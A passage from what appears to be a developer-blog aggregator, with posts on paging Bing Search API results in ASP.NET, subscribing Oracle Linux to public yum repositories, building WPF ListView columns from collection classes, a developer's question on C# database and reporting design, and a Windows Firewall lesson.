query. The default code file that you downloaded from BING doesn’t include any option for this. You can modify the downloaded code to perform this paging. The BING API supports two parameters $top (for number of results to return) and $skip (for number of records to skip). So if you want 3rd page of results with page size = 10, you need to pass $top = 10 and $skip=20. Open the BingSearchContainer.cs in the editor. You can see the Web method in it as follows. public DataServiceQuery<WebResult> Web(String Query, String Market, String Adult, Double? Latitude, Double? Longitude, String WebFileType, String Options) {  In the method signature, I have added two more parameters public DataServiceQuery<WebResult> Web(String Query, String Market, String Adult, Double? Latitude, Double? Longitude, String WebFileType, String Options, int resultCount, int pageNo) { and in the method, you need to pass the parameters to the query variable. query = query.AddQueryOption("$top", resultCount); query = query.AddQueryOption("$skip", (pageNo -1)*resultCount); return query; Note that I didn’t perform any validation, but you need to check conditions such as resultCount and pageCount should be greater than or equal to 1. If the parameters are not valid, the Bing Search API will throw the error. The modified method is as follows. The changes are highlighted. Now see the following code in the SearchPage.aspx.cs file protected void btnSearch_Click(object sender, EventArgs e) {     var bingContainer = new Bing.BingSearchContainer(new Uri(https://api.datamarket.azure.com/Bing/SearchWeb/));     // replace this value with your account key     var accountKey = "your key";     // the next line configures the bingContainer to use your credentials.     bingContainer.Credentials = new NetworkCredential(accountKey, accountKey);     var webResults = bingContainer.Web("site:microsoft.com" +txtSearch.Text , null, null, null, null, null, null,3,2);     lstResults.DataSource = webResults;     lstResults.DataBind(); } The following code will return 3 results starting from second page (by skipping first 3 results). See the result page as follows. Bing provides complete integration to its offerings. When you develop search based applications, you can use the power of Bing to perform the search. Integrating Bing Search API to ASP.Net application is a simple process and without investing much time, you can develop a good search based application. Make sure you read the terms of use before designing the application and decide which API usage is suitable for you. Further readings BING API Migration Guide http://go.microsoft.com/fwlink/?LinkID=248077 Bing API FAQ http://go.microsoft.com/fwlink/?LinkID=252146 Bing API Schema Guide http://go.microsoft.com/fwlink/?LinkID=252151

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• How to subscribe to the free Oracle Linux errata yum repositories

  - by Lenz Grimmer

  Now that updates and errata for Oracle Linux are available for free (both as in beer and freedom), here's a quick HOWTO on how to subscribe your Oracle Linux system to the newly added yum repositories on our public yum server, assuming that you just installed Oracle Linux from scratch, e.g. by using the installation media (ISO images) available from the Oracle Software Delivery Cloud You need to download the appropriate yum repository configuration file from the public yum server and install it in the yum repository directory. For Oracle Linux 6, the process would look as follows: as the root user, run the following command: [root@oraclelinux62 ~]# wget http://public-yum.oracle.com/public-yum-ol6.repo \ -P /etc/yum.repos.d/ --2012-03-23 00:18:25-- http://public-yum.oracle.com/public-yum-ol6.repo Resolving public-yum.oracle.com... 141.146.44.34 Connecting to public-yum.oracle.com|141.146.44.34|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1461 (1.4K) [text/plain] Saving to: “/etc/yum.repos.d/public-yum-ol6.repo” 100%[=================================================>] 1,461 --.-K/s in 0s 2012-03-23 00:18:26 (37.1 MB/s) - “/etc/yum.repos.d/public-yum-ol6.repo” saved [1461/1461] For Oracle Linux 5, the file name would be public-yum-ol5.repo in the URL above instead. The "_latest" repositories that contain the errata packages are already enabled by default — you can simply pull in all available updates by running "yum update" next: [root@oraclelinux62 ~]# yum update Loaded plugins: refresh-packagekit, security ol6_latest | 1.1 kB 00:00 ol6_latest/primary | 15 MB 00:42 ol6_latest 14643/14643 Setting up Update Process Resolving Dependencies --> Running transaction check ---> Package at.x86_64 0:3.1.10-43.el6 will be updated ---> Package at.x86_64 0:3.1.10-43.el6_2.1 will be an update ---> Package autofs.x86_64 1:5.0.5-39.el6 will be updated ---> Package autofs.x86_64 1:5.0.5-39.el6_2.1 will be an update ---> Package bind-libs.x86_64 32:9.7.3-8.P3.el6 will be updated ---> Package bind-libs.x86_64 32:9.7.3-8.P3.el6_2.2 will be an update ---> Package bind-utils.x86_64 32:9.7.3-8.P3.el6 will be updated ---> Package bind-utils.x86_64 32:9.7.3-8.P3.el6_2.2 will be an update ---> Package cvs.x86_64 0:1.11.23-11.el6_0.1 will be updated ---> Package cvs.x86_64 0:1.11.23-11.el6_2.1 will be an update [...] ---> Package yum.noarch 0:3.2.29-22.0.1.el6 will be updated ---> Package yum.noarch 0:3.2.29-22.0.2.el6_2.2 will be an update ---> Package yum-plugin-security.noarch 0:1.1.30-10.el6 will be updated ---> Package yum-plugin-security.noarch 0:1.1.30-10.0.1.el6 will be an update ---> Package yum-utils.noarch 0:1.1.30-10.el6 will be updated ---> Package yum-utils.noarch 0:1.1.30-10.0.1.el6 will be an update --> Finished Dependency Resolution Dependencies Resolved ===================================================================================== Package Arch Version Repository Size ===================================================================================== Installing: kernel x86_64 2.6.32-220.7.1.el6 ol6_latest 24 M kernel-uek x86_64 2.6.32-300.11.1.el6uek ol6_latest 21 M kernel-uek-devel x86_64 2.6.32-300.11.1.el6uek ol6_latest 6.3 M Updating: at x86_64 3.1.10-43.el6_2.1 ol6_latest 60 k autofs x86_64 1:5.0.5-39.el6_2.1 ol6_latest 470 k bind-libs x86_64 32:9.7.3-8.P3.el6_2.2 ol6_latest 839 k bind-utils x86_64 32:9.7.3-8.P3.el6_2.2 ol6_latest 178 k cvs x86_64 1.11.23-11.el6_2.1 ol6_latest 711 k [...] xulrunner x86_64 10.0.3-1.0.1.el6_2 ol6_latest 12 M yelp x86_64 2.28.1-13.el6_2 ol6_latest 778 k yum noarch 3.2.29-22.0.2.el6_2.2 ol6_latest 987 k yum-plugin-security noarch 1.1.30-10.0.1.el6 ol6_latest 36 k yum-utils noarch 1.1.30-10.0.1.el6 ol6_latest 94 k Transaction Summary ===================================================================================== Install 3 Package(s) Upgrade 96 Package(s) Total download size: 173 M Is this ok [y/N]: y Downloading Packages: (1/99): at-3.1.10-43.el6_2.1.x86_64.rpm | 60 kB 00:00 (2/99): autofs-5.0.5-39.el6_2.1.x86_64.rpm | 470 kB 00:01 (3/99): bind-libs-9.7.3-8.P3.el6_2.2.x86_64.rpm | 839 kB 00:02 (4/99): bind-utils-9.7.3-8.P3.el6_2.2.x86_64.rpm | 178 kB 00:00 [...] (96/99): yelp-2.28.1-13.el6_2.x86_64.rpm | 778 kB 00:02 (97/99): yum-3.2.29-22.0.2.el6_2.2.noarch.rpm | 987 kB 00:03 (98/99): yum-plugin-security-1.1.30-10.0.1.el6.noarch.rpm | 36 kB 00:00 (99/99): yum-utils-1.1.30-10.0.1.el6.noarch.rpm | 94 kB 00:00 ------------------------------------------------------------------------------------- Total 306 kB/s | 173 MB 09:38 warning: rpmts_HdrFromFdno: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY Retrieving key from http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6 Importing GPG key 0xEC551F03: Userid: "Oracle OSS group (Open Source Software group) " From : http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6 Is this ok [y/N]: y Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running Transaction Updating : yum-3.2.29-22.0.2.el6_2.2.noarch 1/195 Updating : xorg-x11-server-common-1.10.4-6.el6_2.3.x86_64 2/195 Updating : kernel-uek-headers-2.6.32-300.11.1.el6uek.x86_64 3/195 Updating : 12:dhcp-common-4.1.1-25.P1.el6_2.1.x86_64 4/195 Updating : tzdata-java-2011n-2.el6.noarch 5/195 Updating : tzdata-2011n-2.el6.noarch 6/195 Updating : glibc-common-2.12-1.47.el6_2.9.x86_64 7/195 Updating : glibc-2.12-1.47.el6_2.9.x86_64 8/195 [...] Cleanup : kernel-firmware-2.6.32-220.el6.noarch 191/195 Cleanup : kernel-uek-firmware-2.6.32-300.3.1.el6uek.noarch 192/195 Cleanup : glibc-common-2.12-1.47.el6.x86_64 193/195 Cleanup : glibc-2.12-1.47.el6.x86_64 194/195 Cleanup : tzdata-2011l-4.el6.noarch 195/195 Installed: kernel.x86_64 0:2.6.32-220.7.1.el6 kernel-uek.x86_64 0:2.6.32-300.11.1.el6uek kernel-uek-devel.x86_64 0:2.6.32-300.11.1.el6uek Updated: at.x86_64 0:3.1.10-43.el6_2.1 autofs.x86_64 1:5.0.5-39.el6_2.1 bind-libs.x86_64 32:9.7.3-8.P3.el6_2.2 bind-utils.x86_64 32:9.7.3-8.P3.el6_2.2 cvs.x86_64 0:1.11.23-11.el6_2.1 dhclient.x86_64 12:4.1.1-25.P1.el6_2.1 [...] xorg-x11-server-common.x86_64 0:1.10.4-6.el6_2.3 xulrunner.x86_64 0:10.0.3-1.0.1.el6_2 yelp.x86_64 0:2.28.1-13.el6_2 yum.noarch 0:3.2.29-22.0.2.el6_2.2 yum-plugin-security.noarch 0:1.1.30-10.0.1.el6 yum-utils.noarch 0:1.1.30-10.0.1.el6 Complete! At this point, your system is fully up to date. As the kernel was updated as well, a reboot is the recommended next action. If you want to install the latest release of the Unbreakable Enterprise Kernel Release 2 as well, you need to edit the .repo file and enable the respective yum repository (e.g. "ol6_UEK_latest" for Oracle Linux 6 and "ol5_UEK_latest" for Oracle Linux 5) manually, by setting enabled to "1". The next yum update run will download and install the second release of the Unbreakable Enterprise Kernel, which will be enabled after the next reboot. -Lenz

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• WPF ListView as a DataGrid – Part 2

  - by psheriff

  In my last blog post I showed you how to create GridViewColumn objects on the fly from the meta-data in a DataTable. By doing this you can create columns for a ListView at runtime instead of having to pre-define each ListView for each different DataTable. Well, many of us use collections of our classes and it would be nice to be able to do the same thing for our collection classes as well. This blog post will show you one approach for using collection classes as the source of the data for your ListView.  Figure 1: A List of Data using a ListView Load Property NamesYou could use reflection to gather the property names in your class, however there are two things wrong with this approach. First, reflection is too slow, and second you may not want to display all your properties from your class in the ListView. Instead of reflection you could just create your own custom collection class of PropertyHeader objects. Each PropertyHeader object will contain a property name and a header text value at a minimum. You could add a width property if you wanted as well. All you need to do is to create a collection of property header objects where each object represents one column in your ListView. Below is a simple example: PropertyHeaders coll = new PropertyHeaders(); coll.Add(new PropertyHeader("ProductId", "Product ID"));coll.Add(new PropertyHeader("ProductName", "Product Name"));coll.Add(new PropertyHeader("Price", "Price")); Once you have this collection created, you could pass this collection to a method that would create the GridViewColumn objects based on the information in this collection. Below is the full code for the PropertyHeader class. Besides the PropertyName and Header properties, there is a constructor that will allow you to set both properties when the object is created. C#public class PropertyHeader{  public PropertyHeader()  {  }   public PropertyHeader(string propertyName, string headerText)  {    PropertyName = propertyName;    HeaderText = headerText;  }   public string PropertyName { get; set; }  public string HeaderText { get; set; }} VB.NETPublic Class PropertyHeader  Public Sub New()  End Sub   Public Sub New(ByVal propName As String, ByVal header As String)    PropertyName = propName    HeaderText = header  End Sub   Private mPropertyName As String  Private mHeaderText As String   Public Property PropertyName() As String    Get      Return mPropertyName    End Get    Set(ByVal value As String)      mPropertyName = value    End Set  End Property   Public Property HeaderText() As String    Get      Return mHeaderText    End Get    Set(ByVal value As String)      mHeaderText = value    End Set  End PropertyEnd Class You can use a Generic List class to create a collection of PropertyHeader objects as shown in the following code. C#public class PropertyHeaders : List<PropertyHeader>{} VB.NETPublic Class PropertyHeaders  Inherits List(Of PropertyHeader)End Class Create Property Header Objects You need to create a method somewhere that will create and return a collection of PropertyHeader objects that will represent the columns you wish to add to your ListView prior to binding your collection class to that ListView. Below is a sample method called GetProperties that builds a list of PropertyHeader objects with properties and headers for a Product object. C#public PropertyHeaders GetProperties(){  PropertyHeaders coll = new PropertyHeaders();   coll.Add(new PropertyHeader("ProductId", "Product ID"));  coll.Add(new PropertyHeader("ProductName", "Product Name"));  coll.Add(new PropertyHeader("Price", "Price"));   return coll;} VB.NETPublic Function GetProperties() As PropertyHeaders  Dim coll As New PropertyHeaders()   coll.Add(New PropertyHeader("ProductId", "Product ID"))  coll.Add(New PropertyHeader("ProductName", "Product Name"))  coll.Add(New PropertyHeader("Price", "Price"))   Return collEnd Function WPFListViewCommon Class Now that you have a collection of PropertyHeader objects you need a method that will create a GridView and a collection of GridViewColumn objects based on this PropertyHeader collection. Below is a static/Shared method that you might put into a class called WPFListViewCommon. C#public static GridView CreateGridViewColumns(  PropertyHeaders properties){  GridView gv;  GridViewColumn gvc;   // Create the GridView  gv = new GridView();  gv.AllowsColumnReorder = true;   // Create the GridView Columns  foreach (PropertyHeader item in properties)  {    gvc = new GridViewColumn();    gvc.DisplayMemberBinding = new Binding(item.PropertyName);    gvc.Header = item.HeaderText;    gvc.Width = Double.NaN;    gv.Columns.Add(gvc);  }   return gv;} VB.NETPublic Shared Function CreateGridViewColumns( _    ByVal properties As PropertyHeaders) As GridView  Dim gv As GridView  Dim gvc As GridViewColumn   ' Create the GridView  gv = New GridView()  gv.AllowsColumnReorder = True   ' Create the GridView Columns  For Each item As PropertyHeader In properties    gvc = New GridViewColumn()    gvc.DisplayMemberBinding = New Binding(item.PropertyName)    gvc.Header = item.HeaderText    gvc.Width = [Double].NaN    gv.Columns.Add(gvc)  Next   Return gvEnd Function Build the Product Screen To build the window shown in Figure 1, you might write code like the following: C#private void CollectionSample(){  Product prod = new Product();   // Setup the GridView Columns  lstData.View = WPFListViewCommon.CreateGridViewColumns(       prod.GetProperties());  lstData.DataContext = prod.GetProducts();} VB.NETPrivate Sub CollectionSample()  Dim prod As New Product()   ' Setup the GridView Columns  lstData.View = WPFListViewCommon.CreateGridViewColumns( _       prod.GetProperties())  lstData.DataContext = prod.GetProducts()End Sub The Product class contains a method called GetProperties that returns a PropertyHeaders collection. You pass this collection to the WPFListViewCommon’s CreateGridViewColumns method and it will create a GridView for the ListView. When you then feed the DataContext property of the ListView the Product collection the appropriate columns have already been created and data bound. Summary In this blog you learned how to create a ListView that acts like a DataGrid using a collection class. While it does take a little code to do this, it is an alternative to creating each GridViewColumn in XAML. This gives you a lot of flexibility. You could even read in the property names and header text from an XML file for a truly configurable ListView. NOTE: You can download the complete sample code (in both VB and C#) at my website. http://www.pdsa.com/downloads. Choose Tips & Tricks, then "WPF ListView as a DataGrid – Part 2" from the drop-down. Good Luck with your Coding,Paul Sheriff ** SPECIAL OFFER FOR MY BLOG READERS **Visit http://www.pdsa.com/Event/Blog for a free eBook on "Fundamentals of N-Tier".  

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• Fitting it together, database, reporting, applications in C#

  - by alvonellos

  Introduction Preamble I was hesitant to post this, since it's an application whose intricate details are defined elsewhere, and answers may not be helpful to others. Within the past few weeks (I was actually going to write a blog post about this after I finished) I've discovered that the barrier I'm encountering is one that's actually quite common for newer developers. This question is not so much about a specific thing as it is about piecing those things together. I've searched the internet far and wide, and found many tutorials on how to create applications that are kind of similar to what I'm looking for. I've also looked at hiring another, more experienced, developer to help me along, but all I've gotten are unqualified candidates that don't have the experience necessary and won't take care of the client or project like I will. I'd rather have the project never transpire than to release a solution that is half-baked. I've asked professors at my school, but they've not turned up answers to my question. I'm an experienced developer, and I've written many applications that are -- very abstractly -- close to what I'm doing, but my experiences from those applications aren't giving me enough leverage to solve this particular problem. I just hope that posting this article isn't a mistake for me to write. Project Description I have a project I'm working on for a client that is a rewrite of an application, originally written in Foxpro 2.6 by someone before me, that performs some analysis (which, sadly, I'm not allowed to disclose as per of my employment contract) on financial data. One day, after a long talk between the client and I -- where he intimately described his frustrations with all the bugs I've been hacking out of this code for 6 months now -- he told me to just rewrite it and gave me a month to write a good 1/8 of this 65k LOC Foxpro monstrosity. this 65k line of code foxpro monstrosity. It'll take me a good 3 - 6 months to rewrite this software (I know things the original programmer did not, like inheritance) going as I am right now, but I'm quickly discovering that I'm going to need to use databases. Prior to this contract I didn't even know about foxpro, and so I've had to learn foxpro on the fly, write procedures and make modifications to the database. I've actually come to like it, and this project would be rewritten in Foxpro if it were still a supported language, because over the past few months, I've come to like the features of Foxpro that make it so easy to develop data-driven applications. I once perfomed an experiment, comparing C# to Foxpro. What took me 45 minutes in C# took me two in Foxpro, and I knew C# prior to Foxpro. I was hoping to leverage the power of C#, but it intimidates me that in foxpro, you can have one line of code and be using a database. Prior to this, I have never written any serious database development from scratch. All the applications that I've written are in a different league. They are either completely data-naive or data-naive enough that I can get away with not using a database through serialization or by designing algorithms that work with the data in a manner that is stateless, so there is no need to worry about databases. I've come to realize, very quickly, that serialization and my efficacy with data structures has been my crutch all these years that's prevented me from adventuring into databases, and has consequently hindered my success in real-world programming. Sure, I've written some database stuff in Perl and Python, and I've done forms and worked with relational databases and tables, I'm a wizard in Access and Excel (seriously) and can do just about anything, but it just feels unnatural writing SQL code in another language... I don't mind writing SQL, and I don't It's that bridge between the database and the program code that drives me absolutely bonkers. I hope I'm not the only one to think this, but it bothers me that I have to create statements like the following string sSql = "SELECT * from tablename" When there's really no reason for that kind of unchecked language binding between two languages and two API's. Don't get my wrong, SQL is great, but I don't like the idea that, when executing commands on a SQL database, that one must intermix database and application software, and there's no database independence, which means that different versions of different databases can break code. This isn't very nice. The nicest thing about Foxpro is the cohesiveness between programming language and database. It's so easy, and Foxpro makes it easy, because the tool just fits the task. I can see why so many developers have created a career with this language, because it lowered the barrier of entry to data-driven applications that so many businesses need. It was wonderful. For my purposes today, with the demands and need for community support, extensibility, and language features, Foxpro isn't a solution that I feel would be the right tool for the job. I'm also worried about working too heavy with the database, because I've seen data-driven .NET applications have issues with database caches, running out of memory, and objects in the database not being collected. (Memory leaks) And OH the queries. Which one, how, and why? There are a plethora of different ways that a database can be setup, I think I counted 5 or 6 different kinds of database applications alone that I can chose from. That is a great mountain for me to climb when I don't even know where to begin when it comes to writing data-driven applications. The problem isn't that I don't know SQL or that I don't know C#. I know both and have worked with both extensively. It's making them work together that's the problem, and it's something I've never done in C# before. Reports The client likes paper. The data needs to be printed out in a format that is extensible, layered, and easy to use. I have never done reporting before, and so this is a bit of a problem. From the data source comes crystal reports, and so there's a dependency on the database, from what I understand. Code reuse A large part of the design decision that I've gone through so far is to break the task of writing a piece of this software into routines and modular DLL's and so forth such that much of the code can be reused. For example, when I setup this database, I want to be able to reuse the same database code over and over again. I also want to make sure that when the day comes that another developer is here, that he/she will be able to pick up just where I left off. The quicker I develop these applications, the better off I am. Tasks & Goals In my project, I need to write routines that apply algorithms and look for predefined patterns in financial data. Additionally, I need to simulate trading based on predefined algorithms and data. Then I need to prepare reports on that data. Additionally, I need to have a way to change the code base for this application quickly and effectively, without hacking together some band-aid solution for a problem that really needs a trauma ward. Special Considerations The solution must be fast, run quickly on existing hardware, and not be too much of a pain to maintain and write. I understand that anything I write I'm married to -- I'm responsible for the things that I write because my reputation and livelihood is dependent on it. Do I really need a database? What about performance? Performance was such a big issue that I hand wrote a data structure that is capable of performing 2 billion operations, using a total of 4 gigs of memory in under 1/4 of a second using the standard core two duo processor. I could not find a similar, pre-written data structure in C# to perform this task. What setup do I use in terms of database? What about reporting? I'd prefer to have PDF's generated, but I'd like to be able to visually sketch those reports and then just have a ReportFactory of some sort, that when I pass some variables in, it just does that data. About Me I'm a lone developer for a small business in this area. This is the first time I've done this and I've never had the breadth and depth of my knowledge tested. I'm incredibly frustrated with this project because I feel incredibly overwhelmed with the task at hand. I'm looking for that entry level point where I can draw a line and say "this is what I need to do" Conclusion I may have not been clear enough on my post. I'm still new to this whole thing, and I've been doing my best to contribute back to the community that I've leached so much knowledge from. I'd be glad to edit my post and add more information if possible. I'm looking for a big-picture solution or design process that helps me get off the ground in this world of data-driven applications, because I have a feeling that it's going to be concentric to my entire career as a programmer for some time. Specifically, if you didn't get it from the rest of the post (I may not have been clear enough) I really need some guidance as to where to go in terms of the design decisions for this project. Some things that'll be useful will be a pro/con list for the different kinds of database projects available in VS2010. I've tried, but generating that list has been as hard as solving the problem itself... If you could walk a developer writing a data-driven application for the first time in C#, how would you do that? Where would you point them to?

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• [GEEK SCHOOL] Network Security 4: Windows Firewall: Your System’s Best Defense

  - by Ciprian Rusen

  If you have your computer connected to a network, or directly to your Internet connection, then having a firewall is an absolute necessity. In this lesson we will discuss the Windows Firewall – one of the best security features available in Windows! The Windows Firewall made its debut in Windows XP. Prior to that, Windows system needed to rely on third-party solutions or dedicated hardware to protect them from network-based attacks. Over the years, Microsoft has done a great job with it and it is one of the best firewalls you will ever find for Windows operating systems. Seriously, it is so good that some commercial vendors have decided to piggyback on it! Let’s talk about what you will learn in this lesson. First, you will learn about what the Windows Firewall is, what it does, and how it works. Afterward, you will start to get your hands dirty and edit the list of apps, programs, and features that are allowed to communicate through the Windows Firewall depending on the type of network you are connected to. Moving on from there, you will learn how to add new apps or programs to the list of allowed items and how to remove the apps and programs that you want to block. Last but not least, you will learn how to enable or disable the Windows Firewall, for only one type of networks or for all network connections. By the end of this lesson, you should know enough about the Windows Firewall to use and manage it effectively. What is the Windows Firewall? Windows Firewall is an important security application that’s built into Windows. One of its roles is to block unauthorized access to your computer. The second role is to permit authorized data communications to and from your computer. Windows Firewall does these things with the help of rules and exceptions that are applied both to inbound and outbound traffic. They are applied depending on the type of network you are connected to and the location you have set for it in Windows, when connecting to the network. Based on your choice, the Windows Firewall automatically adjusts the rules and exceptions applied to that network. This makes the Windows Firewall a product that’s silent and easy to use. It bothers you only when it doesn’t have any rules and exceptions for what you are trying to do or what the programs running on your computer are trying to do. If you need a refresher on the concept of network locations, we recommend you to read our How-To Geek School class on Windows Networking. Another benefit of the Windows Firewall is that it is so tightly and nicely integrated into Windows and all its networking features, that some commercial vendors decided to piggyback onto it and use it in their security products. For example, products from companies like Trend Micro or F-Secure no longer provide their proprietary firewall modules but use the Windows Firewall instead. Except for a few wording differences, the Windows Firewall works the same in Windows 7 and Windows 8.x. The only notable difference is that in Windows 8.x you will see the word “app” being used instead of “program”. Where to Find the Windows Firewall By default, the Windows Firewall is turned on and you don’t need to do anything special in order for it work. You will see it displaying some prompts once in a while but they show up so rarely that you might forget that is even working. If you want to access it and configure the way it works, go to the Control Panel, then go to “System and Security” and select “Windows Firewall”. Now you will see the Windows Firewall window where you can get a quick glimpse on whether it is turned on and the type of network you are connected to: private networks or public network. For the network type that you are connected to, you will see additional information like: The state of the Windows Firewall How the Windows Firewall deals with incoming connections The active network When the Windows Firewall will notify you You can easily expand the other section and view the default settings that apply when connecting to networks of that type. If you have installed a third-party security application that also includes a firewall module, chances are that the Windows Firewall has been disabled, in order to avoid performance issues and conflicts between the two security products. If that is the case for your computer or device, you won’t be able to view any information in the Windows Firewall window and you won’t be able to configure the way it works. Instead, you will see a warning that says: “These settings are being managed by vendor application – Application Name”. In the screenshot below you can see an example of how this looks. How to Allow Desktop Applications Through the Windows Firewall Windows Firewall has a very comprehensive set of rules and most Windows programs that you install add their own exceptions to the Windows Firewall so that they receive network and Internet access. This means that you will see prompts from the Windows Firewall on occasion, generally when you install programs that do not add their own exceptions to the Windows Firewall’s list. In a Windows Firewall prompt, you are asked to select the network locations to which you allow access for that program: private networks or public networks. By default, Windows Firewall selects the checkbox that’s appropriate for the network you are currently using. You can decide to allow access for both types of network locations or just to one of them. To apply your setting press “Allow access”. If you want to block network access for that program, press “Cancel” and the program will be set as blocked for both network locations. At this step you should note that only administrators can set exceptions in the Windows Firewall. If you are using a standard account without administrator permissions, the programs that do not comply with the Windows Firewall rules and exceptions are automatically blocked, without any prompts being shown. You should note that in Windows 8.x you will never see any Windows Firewall prompts related to apps from the Windows Store. They are automatically given access to the network and the Internet based on the assumption that you are aware of the permissions they require based on the information displayed by the Windows Store. Windows Firewall rules and exceptions are automatically created for each app that you install from the Windows Store. However, you can easily block access to the network and the Internet for any app, using the instructions in the next section. How to Customize the Rules for Allowed Apps Windows Firewall allows any user with an administrator account to change the list of rules and exceptions applied for apps and desktop programs. In order to do this, first start the Windows Firewall. On the column on the left, click or tap “Allow an app or feature through Windows Firewall” (in Windows 8.x) or “Allow a program or feature through Windows Firewall” (in Windows 7). Now you see the list of apps and programs that are allowed to communicate through the Windows Firewall. At this point, the list is grayed out and you can only view which apps, features, and programs have rules that are enabled in the Windows Firewall.

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